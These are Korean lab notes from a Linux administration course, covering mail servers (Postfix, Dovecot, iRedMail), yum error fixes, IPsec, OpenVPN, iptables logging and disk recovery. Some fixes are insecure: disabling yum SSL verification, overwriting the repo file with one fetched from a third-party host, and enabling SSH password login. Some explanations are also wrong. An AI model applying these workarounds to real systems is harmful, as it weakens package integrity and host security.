4.  General Options
5.  Themes
6.  Address Books
7.  Message of the Day (MOTD)
8.  Plugins
9.  Database
10. Languages

D.  Set pre-defined settings for specific IMAP servers

C   Turn color off
S   Save data
Q   Quit

2번 2. Server Settings

1번 도메인

도메인 명 입력

3번

3. Sendmail or SMTP : Sendmail

SMTP 로 설정

other

참고로 hmailserver 는 윈도우 실습에서 사용할 것이다

9본

9. Delimiter : /

detect 자동 감지

S 로 저장

메인메뉴로 간다

이게 pop port 이다

110 번은 pop port

# telnet localhost 110

quit 로 나간다

사용자 생성후 비밀번호 설정

httpd conf 파일에서

nano -c /etc/httpd/conf/httpd.conf

가장아래에 추가한다

참고로 nano editor 에서 마지막줄로 이동은 alt / 이다

서비스 재시작

로그인창

아까 생성한 user 와 passwd 입력

dovecot 설치와 구성파일 설정

금홍자 — Wed, 6 Oct 2021 11:01:50 +0900

dovecot 설치한다

# yum -y install dovecot

dovecot 설정파일 수정

# nano -c /etc/dovecot/dovecot.conf

20줄 주석제거

78줄

!include conf.d/*.conf

http web server 와 비슷하게 운영됨을 확인한다.

# nano -c /etc/dovecot/conf.d/10-mail.conf

24 줄 주석 제거

auth 인증 파일

nano -c /etc/dovecot/conf.d/10-auth.conf

9줄 주석삭제후 no 로 변경

97줄

uth_mechanisms = plain

설정파일

# nano -c /etc/dovecot/conf.d/10-master.conf

82 줄 주석 삭제

83 주석 삭제

서비스 시작과 runlevel 조정

[root@centos1 new]# yum -y install dovecot
Loaded plugins: fastestmirror, refresh-packagekit, security
Setting up Install Process
Loading mirror speeds from cached hostfile
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
 * epel: d2lzkl7pfhq30w.cloudfront.net
Resolving Dependencies
--> Running transaction check
---> Package dovecot.x86_64 1:2.0.9-22.el6_10.1 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package        Arch          Version                      Repository      Size
================================================================================
Installing:
 dovecot        x86_64        1:2.0.9-22.el6_10.1          updates        1.9 M

Transaction Summary
================================================================================
Install       1 Package(s)

Total download size: 1.9 M
Installed size: 5.7 M
Downloading Packages:
dovecot-2.0.9-22.el6_10.1.x86_64.rpm                     | 1.9 MB     00:02     
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing : 1:dovecot-2.0.9-22.el6_10.1.x86_64                           1/1 
  Verifying  : 1:dovecot-2.0.9-22.el6_10.1.x86_64                           1/1 

Installed:
  dovecot.x86_64 1:2.0.9-22.el6_10.1                                            

Complete!
[root@centos1 new]# clear

[root@centos1 new]# nano -c /etc/dovecot/dovecot.conf 
[root@centos1 new]# getenforce
Permissive
[root@centos1 new]# chkconfig --level 35 dovecat on ; chkconfig --list | grep dovecat
error reading information on service dovecat: No such file or directory
[root@centos1 new]# chkconfig --level 35 dovecot on ; chkconfig --list | grep dovecot
dovecot        	0:off	1:off	2:off	3:on	4:off	5:on	6:off
[root@centos1 new]# service dovecot start
Starting Dovecot Imap:                                     [  OK  ]
[root@centos1 new]# netstat -nltp | grep dovecot
tcp        0      0 0.0.0.0:143                 0.0.0.0:*                   LISTEN      4753/dovecot        
tcp        0      0 0.0.0.0:993                 0.0.0.0:*                   LISTEN      4753/dovecot        
tcp        0      0 0.0.0.0:995                 0.0.0.0:*                   LISTEN      4753/dovecot        
tcp        0      0 0.0.0.0:110                 0.0.0.0:*                   LISTEN      4753/dovecot        
tcp        0      0 :::143                      :::*                        LISTEN      4753/dovecot        
tcp        0      0 :::993                      :::*                        LISTEN      4753/dovecot        
tcp        0      0 :::995                      :::*                        LISTEN      4753/dovecot        
tcp        0      0 :::110                      :::*                        LISTEN      4753/dovecot        
[root@centos1 new]#

PostFix mail 서버 구축 설정

금홍자 — Wed, 6 Oct 2021 10:33:58 +0900

postfix mail server 와 sendmail server 는 유명한 mail server 이다.

iredmail server 는 유명하지 않지만 굉장히 좋다

fail2ban 과

회사에서 mail server 구축시 강력하게 권할 만한 mail server 이다

fail2ban
clamAV
MySQL/MariaDB

1 방화벽을 disable

# setenforce 0

# nano /etc/sysconfig/network

파일 확인

# nano etc/hosts

# yum -y install postfix

postfix 다운받는다

iredmail 독립적 mail 이고

postfix 는 squarrel mail 을 사용한다

sendmail 은 앞에서 mailx mute

백업파일

# cp -arp /etc/postfix/main.cf /etc/postfix/main.cf.bak

# nano -c /etc/pastfix/m

75 줄 m

yhostname 주석 제거

83줄 주석 제거

98줄 주석제거

113, 116 localhost 로 되어있다

116 주석으로 무시한다

113 all 에 주석 제거

ipv4 6 둘다 하는 것

119 주석제거

264줄

주석제거

419 home mail box

주석제거

# service postfix start

# chkconfig 해주고

telnet 설치한다

ehlo localhost

다음줄에 점 찍으면

idml 스타일이다

data가 대기열에 있는 것이다

quit 로 나간다

아까 보낸게 와있다

cat 으로 읽어본다

잘 와있다ㅓ

postfix 는 mail server 로서는 허술하지만

심플하기 때문에 잘 보내진다.

정리

[root@centos1 centos]# setenforce 0
[root@centos1 centos]# nano /etc/sysconfig/network
[root@centos1 centos]# nano /etc/hosts
[root@centos1 centos]# yum -y install postfix
Loaded plugins: fastestmirror, refresh-packagekit, security
Setting up Install Process
Loading mirror speeds from cached hostfile
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
epel/metalink                                            | 3.8 kB     00:00     
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
 * epel: d2lzkl7pfhq30w.cloudfront.net
base                                                     | 3.7 kB     00:00     
extras                                                   | 3.4 kB     00:00     
updates                                                  | 3.4 kB     00:00     
Package 2:postfix-2.6.6-8.el6.x86_64 already installed and latest version
Nothing to do
[root@centos1 centos]# cp -arp /etc/postfix/main.cf /etc/postfix/main.cf.bak
[root@centos1 centos]# nano -c /etc/postfix/main.cf
[root@centos1 centos]# nano -c /etc/postfix/main.cf
[root@centos1 centos]# nano -c /etc/postfix/main.cf
[root@centos1 centos]# service postfix start
[root@centos1 centos]# chkconfig --level 35 postfix on 
[root@centos1 centos]# chkconfig --list | grep postfix
postfix        	0:off	1:off	2:on	3:on	4:on	5:on	6:off
[root@centos1 centos]# yum -y install telnet
Loaded plugins: fastestmirror, refresh-packagekit, security
Setting up Install Process
Loading mirror speeds from cached hostfile
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
 Eg. Invalid release/repo/arch combination/
 * epel: d2lzkl7pfhq30w.cloudfront.net
Resolving Dependencies
--> Running transaction check
---> Package telnet.x86_64 1:0.17-49.el6_10 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package        Arch           Version                    Repository       Size
================================================================================
Installing:
 telnet         x86_64         1:0.17-49.el6_10           updates          58 k

Transaction Summary
================================================================================
Install       1 Package(s)

Total download size: 58 k
Installed size: 109 k
Downloading Packages:
telnet-0.17-49.el6_10.x86_64.rpm                         |  58 kB     00:00     
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing : 1:telnet-0.17-49.el6_10.x86_64                               1/1 
  Verifying  : 1:telnet-0.17-49.el6_10.x86_64                               1/1 

Installed:
  telnet.x86_64 1:0.17-49.el6_10                                                

Complete!
[root@centos1 centos]# telnet localhost smtp
Trying ::1...
Connected to localhost.
Escape character is '^]'.
220 centos1.kahn.edu ESMTP Postfix
ehlo localhost
250-centos1.kahn.edu
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
mail from:root
250 2.1.0 Ok
rcpt to:centos
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
This is a Test Mail from Postfix Mailer
.
250 2.0.0 Ok: queued as BE0AEBFB9F
auit
502 5.5.2 Error: command not recognized
quit
221 2.0.0 Bye
Connection closed by foreign host.
[root@centos1 centos]# cd /home/centos/Maildir/new ; ls
1633483792.V802Idfa3eM501006.centos1
[root@centos1 new]# cat 1633483792.V802Idfa3eM501006.centos1
Return-Path: <root@centos1.kahn.edu>
X-Original-To: centos
Delivered-To: centos@centos1.kahn.edu
Received: from localhost (localhost [IPv6:::1])
	by centos1.kahn.edu (Postfix) with ESMTP id BE0AEBFB9F
	for <centos>; Wed,  6 Oct 2021 10:29:19 +0900 (KST)
Message-Id: <20211006012934.BE0AEBFB9F@centos1.kahn.edu>
Date: Wed,  6 Oct 2021 10:29:19 +0900 (KST)
From: root@centos1.kahn.edu
To: undisclosed-recipients:;

This is a Test Mail from Postfix Mailer

iRedMail 실습2

금홍자 — Wed, 6 Oct 2021 10:15:25 +0900

Advanced 가서 Accept the

MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT

https://mx.kahn.edu/iredadmin

The certificate is not trusted because it is self-signed.

HTTP Strict Transport Security: false
HTTP Public Key Pinning: false

Certificate chain:

-----BEGIN CERTIFICATE-----
MIID8TCCAtmgAwIBAgIJAL9Jq67gg74GMA0GCSqGSIb3DQEBCwUAMIGOMQswCQYD
VQQGEwJDTjESMBAGA1UECAwJR3VhbmdEb25nMREwDwYDVQQHDAhTaGVuWmhlbjEU
MBIGA1UECgwLbXgua2Fobi5lZHUxCzAJBgNVBAsMAklUMRQwEgYDVQQDDAtteC5r
YWhuLmVkdTEfMB0GCSqGSIb3DQEJARYQcm9vdEBteC5rYWhuLmVkdTAeFw0yMTEw
MDYwMDM5NDRaFw0zMTEwMDQwMDM5NDRaMIGOMQswCQYDVQQGEwJDTjESMBAGA1UE
CAwJR3VhbmdEb25nMREwDwYDVQQHDAhTaGVuWmhlbjEUMBIGA1UECgwLbXgua2Fo
bi5lZHUxCzAJBgNVBAsMAklUMRQwEgYDVQQDDAtteC5rYWhuLmVkdTEfMB0GCSqG
SIb3DQEJARYQcm9vdEBteC5rYWhuLmVkdTCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAKyDt7XSMC5B6cUS5o27o9GENl/4FJsphbaDhCwZXAfttj3bFv3O
OvBOGyqoULihP+8FAqXt35K/EdBgagL1Cs8G7fS2qO2oIEuiSZBd6Q6nFC6MGQ5B
WG8sHNgJgfSsVf92NK6FxDzW5XMClrpLqtf2pETK66JyHxEeZr2PlmwZkjEMz3OZ
BfugiQ2q24nDJqZuaA8T2uR/NOymoQcwKerPAaDb57NFzlsrH4eO3CzW+S7312Mr
xvfKGO/Q3yjGsgPya5n4yiqMd2OUd9zGyNvNUApM7C7EkSHLwiT+CFgmRmoZWmJj
1Y3ez1ntluf6ggWhF+fQjfPNHFGMtjNeBdcCAwEAAaNQME4wHQYDVR0OBBYEFKhb
cL/XR7upoI1lTuLtNAGfbIfiMB8GA1UdIwQYMBaAFKhbcL/XR7upoI1lTuLtNAGf
bIfiMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAEG/YlWHOtf3xxZB
NtNVnFIT/l8ZdwNGYygcE+Zu0/Vxiw+5jLzw2oLXmUlH+T0tWrCBxN+0+5cQP/Nb
JJ42h34s4R3S9mjf+YAk7ebqJV5EhlV/UB+VZTICF0Xgq7WcfP3UYOFO+U0G4Sku
A7DVFt4QbxFMl0XFCndAuNh0Zad7ZoDlPxgbu9cjwbanRKF5cLKhqg39FuRGVL+N
9ncoZbBDgWUmS0gUcL2ty1o7qmYNV0zVxfI3LhH+4FBFleE42057Oa/LsX3mc2vl
BDz7HLjkYkYEViD581kIp2N7LDDKXF+e+cD9BYIAPInQ3yJDzGO5wU4DGNoBeqoW
Z8GGlH8=
-----END CERTIFICATE-----

로그인한다

iRed

Dash Board 열려야하는데

round cube 가 열렸다

DATABASE ERROR: CONNECTION FAILED!
Unable to connect to the database!
Please contact your server-administrator.

test 해본다

Ubuntu iRedMail 실습

금홍자 — Wed, 6 Oct 2021 09:51:24 +0900

필요한 파일은 4가지다

iRedAdmin-0.6.3.tar.bz2 iRedMail-0.9.5-1.tar.bz2
iRedAPD-1.9.1.tar.bz2 roundcubemail-1.2.0-complete.tar.gz

엔터

현재 아파치를 더 많이 쓰니

Apache 아파치 선택후 엔터

메일을 저장할수 있는 공간이 나와있다

마이에스큐엘 선택 후 엔터

참고로 선택은 스페이스바이다'

자신의 도메인을 적고 엔터

비밀번호 입력후 엔터

엔터

1014855938 528471 iRedAdmin-0.6.3.tar.bz2

최종 정리 화면이 보인다

메일을 저장하는 공간이 MySQL 이다 등의 정보를 보여준다

y 입력후 엔터

조금 시간이 걸려서 설치 된다

4690938d7ec957e9e13064dcaa18daf1 misc/iRedAdmin-0.6.3.tar.bz2

필요한 apache2-utils 나 amd64 등을 다운 받고 있다

이렇게 오류가 뜨면 안 된다

일단 y y 엔터

기다려본다

reboot 한다

Can't open settings.py: No such file or directory.

ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

/etc/default/iptables

/var/mail/boot

iredadmin 사용자가 생성됐지만

server 를 server machine 안에서 뿐만아니라 외부에서 작업할수있기때문에 일반 사용자 (ubuntu) 로 들어가도 괜찮다.

# sudo dpkg-reconfigure mysql-server-5.5

오류 해결을 위해 root 의 패스워드 설정해준다

한번더

시간이 조금 걸리고 완료됐다

"[Errno 256] No more mirrors to try" 오류 해결

금홍자 — Tue, 5 Oct 2021 16:20:31 +0900

Downloading Packages:
https://vault.centos.org/6.10/os/x86_64/Packages/apr-util-1.3.9-3.el6_0.1.x86_64.rpm: [Errno 14] PYCURL ERROR 6 - "Couldn't resolve host 'vault.centos.org'"
Trying other mirror.

Error Downloading Packages:
apr-util-1.3.9-3.el6_0.1.x86_64: failure: Packages/apr-util-1.3.9-3.el6_0.1.x86_64.rpm from base: [Errno 256] No more mirrors to try.

# wget -O /etc/yum.repos.d/CentOS-Base.repo https://www.host-stage.net/hsmirrors/centos6repofix

# yum clean all

하면 해결된다.

"bash: /var/www/html/index.html: No such file or directory" 오류 해결

금홍자 — Tue, 5 Oct 2021 11:11:50 +0900

# yum -y install php

하면 해결된다

yum "[Errno 14] Peer cert cannot be verified or peer cert invalid" 버그 해결

금홍자 — Tue, 5 Oct 2021 09:15:07 +0900

CentOS6 에서 나타나는 버그다.

# /etc/yum.conf에 sslverify=false를 추가하여 SSL 유효성 검사를 비활성화 한 후

# yum --disablerepo=\* --enablerepo=base,updates update

하면 해결 된다.

안되면 /etc/yum.repos.d/CentOS-Base.repo

파일이 아래와 일치하는지 확인한다

# CentOS-Base.repo
#
# The mirror system uses the connecting IP address of the client and the
# update status of each mirror to pick mirrors that are updated to and
# geographically close to the client.  You should use this for CentOS updates
# unless you are manually picking other mirrors.
#
# If the mirrorlist= does not work for you, as a fall back you can try the
# remarked out baseurl= line instead.
#
#

[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=https://vault.centos.org/6.10/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
baseurl=https://vault.centos.org/6.10/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
baseurl=https://vault.centos.org/6.10/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

그리고

# yum clean all

그래도 안 된다면

# wget -O /etc/yum.repos.d/CentOS-Base.repo https://www.host-stage.net/hsmirrors/centos6repofix

# yum clean all

ssh 오류 해결

금홍자 — Fri, 1 Oct 2021 17:52:38 +0900

문제는 sshd_config파일 내에 있습니다 .

이 문제에 대한 궁극적인 솔루션은 다음과 같습니다.

Ubuntu 서버에 root로 로그인
vim 또는 nano를 사용하여 /etc/ssh/sshd_config 파일 수정
vi /etc/ssh/sshd_config 또는 nano /etc/ssh/sshd_config
PasswordAuthentication에서 no 를 yes로 변경
파일을 저장하고 sudo service sshd reload 명령을 실행하여 SSH 서비스를 다시 로드한다.

이 작업이 완료되면 로컬 장치에 대한 새 SSH 키를 설정이 가능하다.
서버(ubuntu1)가 아닌 로컬 장치(centos1등)에서 작업

ssh-copy-id username@droplet.ip

여기서 droplet.ip 는 full ip 로 작성해야한다.

이 작업이 완료시 SSH 키로 연결 가능

Puppet | Error: Could not run: Address already in use - bind(2) 오류 해결

금홍자 — Thu, 30 Sep 2021 12:06:51 +0900

centos (RedHat)

netstat -anpl | grep 8140

ubuntu (Debian) 라면

sudo service apache2 stop

CentOS ipsec 실습

금홍자 — Thu, 30 Sep 2021 09:23:36 +0900

6.4. IPsec 호스트 간 설정
IPsec을 호스트 간 연결을 통하여 데스크탑이나 워크스테이션들을 연결하도록 설정 가능합니다. 이러한 유형의 연결은 각 호스트가 연결된 네트워크를 사용하여 양 호스트 사이에 보안 터널을 생성합니다. 호스트 간 연결에 필요한 요건은 각 호스트에 IPsec만 설정하면 됩니다. 호스트에서 IPsec 연결을 생성하기 위해서는 공중 네트워크 (예, 인터넷)와 Red Hat Enterprise Linux에 연결할 전용선만 있으면 됩니다.

연결을 생성하는 첫번째 단계는 각 워크스테이션의 시스템 정보와 네트워크 정보를 모으는 것입니다. 호스트 간 연결을 위해서는 다음과 같은 정보를 수집하셔야 합니다:

양 호스트의 IP 주소

IPsec 연결을 식별하고 다른 장치나 연결 (예, ipsec0)로부터 이 IPsec 연결을 구분할 수 있게 해주는 고유 이름

고정 암호키 또는 racoon가 자동으로 생성한 암호키

연결을 초기화하고 세션 중 암호키를 교환하는데 사용되는 미리 공유된 인증키

예를 들어 워크스테이션 A와 워크스테이션 B가 IPsec 터널을 통하여 연결하고자 한다고 가정합니다. foobarbaz 를 이미 공유된 키로 사용하여 연결하고자 하며 양 사용자가 racoon 데몬이 자동으로 인증키를 생성하여 각 호스트 간에 공유하는 것에 동의하여 이 연결을 ipsec0으로 이름 붙였다고 가정합니다.

다음은 워크스테이션 B와 호스트 간 IPsec 연결하기 위해 사용된 워크스테이션 A의 ifcfg 파일입니다 (이 예시에서 이 연결을 식별하기 위해 사용된 이름은 ipsec0이므로 결과적으로 파일 이름은 /etc/sysconfig/network-scripts/ifcfg-ipsec0이 됩니다):

DEVICE=ipsec0
DST=192.168.100.131
TYPE=IPSEC
ONBOOT=yes
IKE_METHOD=PSK

워크스테이션 A는 X.X.X.X 부분을 워크스테이션 B의 IP 주소로 대체하고, 워크스테이션 B는 X.X.X.X를 워크스테이션 A의 IP 주소로 대체합니다. 이 연결은 부팅시 시작되도록 (ONBOOT=yes) 설정되었으며 이미 공유된 키 인증 방식 (IKE_METHOD=PSK)을 사용합니다.

다음은 공유 키 파일 (/etc/sysconfig/network-scripts/keys-ipsec0)의 내용입니다. 이 파일은 양 워크스테이션이 상대방을 인증하는데 필요합니다. 이 파일의 내용은 양 컴퓨터에서 동일해야 하며 루트 사용자만이 이 파일을 읽거나 수정할 수 있습니다.

IKE_PSK=foobarbaz
중요 중요

keys-ipsec0 파일을 루트 사용자만 읽고 수정할 수 있도록 하시려면, 파일을 만드신 후 다음 명령을 입력하십시오:

chmod 600 /etc/sysconfig/network-scripts/keys-ipsec0
언제든지 인증키를 변경하시려면 양 워크스테이션에서 keys-ipsec0 파일을 수정하시면 됩니다. 양 키가 동일해야만 제대로 연결할 수 있습니다.

다음은 원격 호스트로 1 단계 연결하는데 사용되는 설정 파일의 예입니다. 이 파일의 이름은 X.X.X.X.conf입니다 (여기서 X.X.X.X는 원격 IPsec 라우터의 IP 주소로 대체하십시오). 이 파일은 IPsec 터널이 활성화되면 자동으로 생성되기 때문에 직접 수정하시면 안됩니다.

;
remote X.X.X.X
{
        exchange_mode aggressive, main;
        my_identifier address;
        proposal {
                encryption_algorithm 3des;
                hash_algorithm sha1;
                authentication_method pre_shared_key;
                dh_group 2 ;
        }
}
IPsec 연결이 초기화될때 생성된 기본 단계 1 설정 파일에는 Red Hat Enterprise Linux가 IPsec를 구현하는데 사용하는 다음과 같은 문구가 포함됩니다:

remote X.X.X.X
이 줄은 이 설정 파일에서 다음 부분을 IP 주소가 X.X.X.X인 원격 컴퓨터에만 적용하도록 지정합니다.

exchange_mode aggressive
윗 줄은 Red Hat Enterprise Linux의 기본 IPsec 설정으로서 여러 호스트 간에 IPsec 연결을 설정하는 동시에 연결 작업 부하를 낮춰주는 적극적 (aggressive) 인증 모드를 사용합니다.

my_identifier address
컴퓨터 인증시 사용할 식별 방식을 정의합니다. Red Hat Enterprise Linux는 IP 주소를 사용하여 컴퓨터를 식별합니다.

encryption_algorithm 3des
인증시 사용할 암호화 방식을 지정합니다. 3DES (Triple Data Encryption Standard)가 기본으로 사용됩니다.

hash_algorithm sha1;
컴퓨터 간에 1 단계 협상 단계에서 사용할 해시 알고리즘을 지정합니다. 기본값으로 SHA (Secure Hash Algorithm) 버전 1이 사용됩니다.

authentication_method pre_shared_key
컴퓨터 간 협상시 사용할 인증 방식을 지정합니다. Red Hat Enterprise Linux는 인증을 위해 기존 공유 키(pre-shared keys)를 기본으로 사용합니다.

dh_group 2
동적으로 생성된 세션키를 분배하는데 사용할 Diffie-Hellman 그룹 번호를 지정합니다. 1024 비트 그룹이 기본값입니다.

모든 IPsec 컴퓨터에서 /etc/racoon/racoon.conf 파일은 include "/etc/racoon/X.X.X.X.conf" 문장을 제외한 모든 다른 부분이 똑같아야 합니다. 이 문장 (및 이 문장이 언급하는 파일)은 IPsec 터널이 활성화된 경우에만 나타납니다. 워크스테이션 A에서 include 문장에 언급된 X.X.X.X는 워크스테이션 B의 IP 주소이며 워크스테이션 B에서는 그 반대입니다. 다음은 IPsec 연결이 활성화되었을때 전형적인 racoon.conf 파일을 보여줍니다.

# Racoon IKE daemon configuration file.
# See 'man racoon.conf' for a description of the format and entries.

path include "/etc/racoon";
path pre_shared_key "/etc/racoon/psk.txt";
path certificate "/etc/racoon/certs";

sainfo anonymous
{
pfs_group 2;
lifetime time 1 hour ;
encryption_algorithm 3des, blowfish 448, rijndael ;
authentication_algorithm hmac_sha1, hmac_md5 ;
compression_algorithm deflate ;
}
include "/etc/racoon/X.X.X.X.conf"

이 기본 racoon.conf 파일에는 IPsec 설정, 기존 공유 키 파일 및 인증서의 지정된 경로가 포함됩니다. sainfo anonymous 항목은 IPsec 컴퓨터 간 2 단계 SA — IPsec 연결 속성 (사용된 암호화 알고리즘 포함) 및 키 교환 방식을 설명합니다. 다음은 2 단계 항목을 정의하는 목록입니다:

sainfo anonymous
IPsec 인증서만 일치한다면 SA가 어느 컴퓨터와도 익명으로 연결을 초기화할 수 있다는 것을 의미합니다.

pfs_group 2
Diffie-Hellman 키 교환 프로토콜을 지정합니다. 이 프로토콜은 IPsec 연결 2 단계에서 IPsec 시스템이 상호 임시 세션키를 분배하는 방식을 결정합니다. 기본적으로 Red Hat Enterprise Linux는 Diffie-Hellman 암호키 교환 그룹의 그룹 2 (modp1024)를 사용하여 IPsec을 구현합니다. 그룹 2는 1024 비트 방식을 사용하기 때문에 침입자가 비밀키를 알아낸 경우에도 이전 IPsec 전송 내용을 암호 해독 불가능합니다.

lifetime time 1 hour
이 변수는 SA의 수명을 시간이나 데이터 바이트 수 단위로 지정합니다. Red Hat Enterprise Linux에서 IPsec 구현시 수명은 한시간이 기본입니다.

encryption_algorithm 3des, blowfish 448, rijndael
2 단계에서 사용할 암호화 방식을 지정합니다. Red Hat Enterprise Linux는 3DES, 448-bit Blowfish, 및 Rijndael(AES:Advanced Encryption Standard에 사용된 암호방식)을 지원합니다.

authentication_algorithm hmac_sha1, hmac_md5
인증에 사용할 해시 알고리즘을 열거합니다. 지원 가능한 모드는 sha1와 md5 해시 메시지 인증 코드 (HMAC) 입니다.

compression_algorithm deflate
IPCOMP (IP Payload Compression)을 위해 Deflate 압축 알고리즘을 사용하도록 지정합니다. 이 알고리즘을 사용하면 IP 데이터그램을 보다 빠르게 압축 전송할 수 있습니다.

연결을 시작하려면 워크스테이션을 재부팅하거나 각 호스트에서 루트로 로그인하신 후 다음 명령을 실행하시면 됩니다:

/sbin/ifup ipsec0
IPsec 연결을 검사하시려면 tcpdump 유틸리티를 실행하여 호스트 간 (네트워크 간)에 전송되는 네트워크 패킷이 IPsec을 사용하여 암호화되었는지 확인하시기 바랍니다. 패킷은 AH 헤더를 포함해야 하며 ESP 패킷으로 보여져야 하니다. ESP는 패킷이 암호화되었다는 것을 의미합니다. 예를 들면:

17:13:20.617872 pinky.example.com > ijin.example.com: \
AH(spi=0x0aaa749f,seq=0x335): ESP(spi=0x0ec0441e,seq=0x335) (DF)

CentOS VPN 설정1

금홍자 — Wed, 29 Sep 2021 12:35:43 +0900

vpn 프로그램 설치

# yum -y install openvpn

epel release 에서 설치한다.

설치 완료

terminal 에서 터널 연결을 위한 key 생성한다.

파일 다운

noarch 라서 어느 CPU 모두 가능하다.

파일을 푼다

파일 확인한다

파일 생성후 키들을 복사한다.

이제 키 설정한다.

# nano -c /etc/openvpn/easy-rsa/vars

29번째줄 수정전

바꿔준다

파일 마지막부분의 default 설정들도 변경해주면 좋다.

하나로 메인설정파일 설정 했기 때문에 정확한 이름이 아닌 openssl.cnf 로 파일 작성해도 괜찮은 것이다.

권한 변경

# chmod 755*

# source ./vars

# ./clean-all

# ./build-ca

key * 이 나오는 길이는 컴퓨터 속도에 따른 차이가 있다.

이미 파일에서 default 설정을 바꿔주었으므로 모두 엔터한다.

# ./build-dh

마찬가지로 모두 엔터

# ./build-key-server VPNserver

모두 엔터후 마지막 두개만 y

VPN client key 생성 (일종의 개인키)

Linux CentOS 명령어 망가뜨리고 고치기

금홍자 — Wed, 29 Sep 2021 11:54:58 +0900

예를 들어서 오름차순 정렬 명령어 sort

내림차순 정렬 sort -r

sort 명령어가 잘 실행되고 있음을 확인했다.

이제 sort 명령어를 변경할 것이다.

# ls > sort

파일이 아닌 명령어가 덮어씌워지는 위험한 명령어이다.

sort 가 완전 이상해졌다

다시 정상으로 만드는 과정

sort 명령어 위치 확인

sort의 rpm 파일을 찾는다

삭제한다

여기서 파일이름을 정확히 해주지 않으면 삭제되지 않으니 # rpm -qf 결과물을 복붙한다.

coreutils 재설치

sort 명령어가 원래대로 돌아갔다

정리하면 망가진 명령어를 삭제한후 다시 설치하면 고쳐진다.

CentOS DD 이용한 data 백업과 복원

금홍자 — Wed, 29 Sep 2021 11:40:42 +0900

마운트 해준다

# mount /dev/sdb1 /roo

마운트 한 곳에 백업

# dd if=/dev/sda of=/dev/sdb1/sda.mbr count=1 bs=512K ; sync

백업 확인

참고로 복원은

# dd if=/work/sda.mbr of=/dev/sda

식으로 한다.

iptables를 이용한 네트워크 모니터링

금홍자 — Wed, 29 Sep 2021 11:26:50 +0900

# iptables -I INPUT 1 -p tcp --dport 22 --syn -j LOG

iptables -A INPUT -m state --state NEW,RELATED -p tcp --dport 22 -j ACCEPT

확인한다.

service iptables save && service iptables reload

iptables -nL --line-numbers

첫줄에 LOG 기록있는 것 확인

첫줄 마지막 level 4 는 보안 레벨중 warn 의미하고 warn (level 4) 까지는 작동가능하다.

다른 node 가 외부에서 ssh 를 통해 들어올때 이렇게 LOG 를 기록하게 하는 것을 알고있자.

tail -f 명령어로 messages 를 실시간으로 보게한다.

외부에서 접속한다.

다시 돌아와 확인하면

SRC ~.131이 DST (나) 한테 접속한 정보 확인 가능

IN interface

MAC 주소가 긴 이유는 송신자6개, 수신자6개, protocoltype 이 같이 나왔기 때문이다

문자 하나가 8bit 이니 48bit 이니, 6

ㅁ마지막 08:00 은 ipv8 이다

flush (갱신) 기존 설정 버린다

LOG에 접두사를 붙이는 옵션 추가

iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j LOG --log-prefix "ACCEPTED-SSH"
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

service restart

다른 머신에서 한 번더 접속한다

다시 돌아와 확인한다

iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j LOG --log-prefix "ACCEPTED-SSH"

CentOS Linux 내장된 기능으로 시스템 감시하는 능력

금홍자 — Wed, 29 Sep 2021 11:14:14 +0900

rpm 명령어로 프로그램 설치여부 확인 가능하다.

설치된 것을 모두 보이는 명령어

-V

최초에 rpm 파일 설치후 변경된 것들을 보여줌

-c 는 구성파일

d 문서파일

g 빈 유령파일

l 모듈 파일

m (missing) 사라

이중에서 missing 이 보이면 주의해야한다.

보통 missing 이 나오면 package 재설치하면 된다.

하지만 시스템과 보안 관련되서 missing 이 있으면 관리자가 변경하지 않는 한 굉장히 심각한 문제가 될수도잇다.

사진에 나온 greeter 파일을 중요한 파일이 아니라 크게 문제가 있진 않다.

간혹 .cache 파일도 변경이 될수도있다.

buffer memory (cookie) 처럼 잠시 들어가 있는 파일을 말한다.

gdm 외부에서 console 로 연결될때

L 은 심볼릭 링크 변경

T 는 시간 변경

CentOS TeskDisk와 Photorec 으로 복원하기 (수정중)

금홍자 — Wed, 29 Sep 2021 11:03:12 +0900

TeskDisk와 Photorec 는 그림을 복원해준다.

이 도구를 사용한 데이터 복원과 복구 실습

# yum -y install testdisk

testdisk 와 porterrecord 도구가 설치된다

# testdisk

nolog 엔터

/dev/sdb 엔터

Intel 엔터

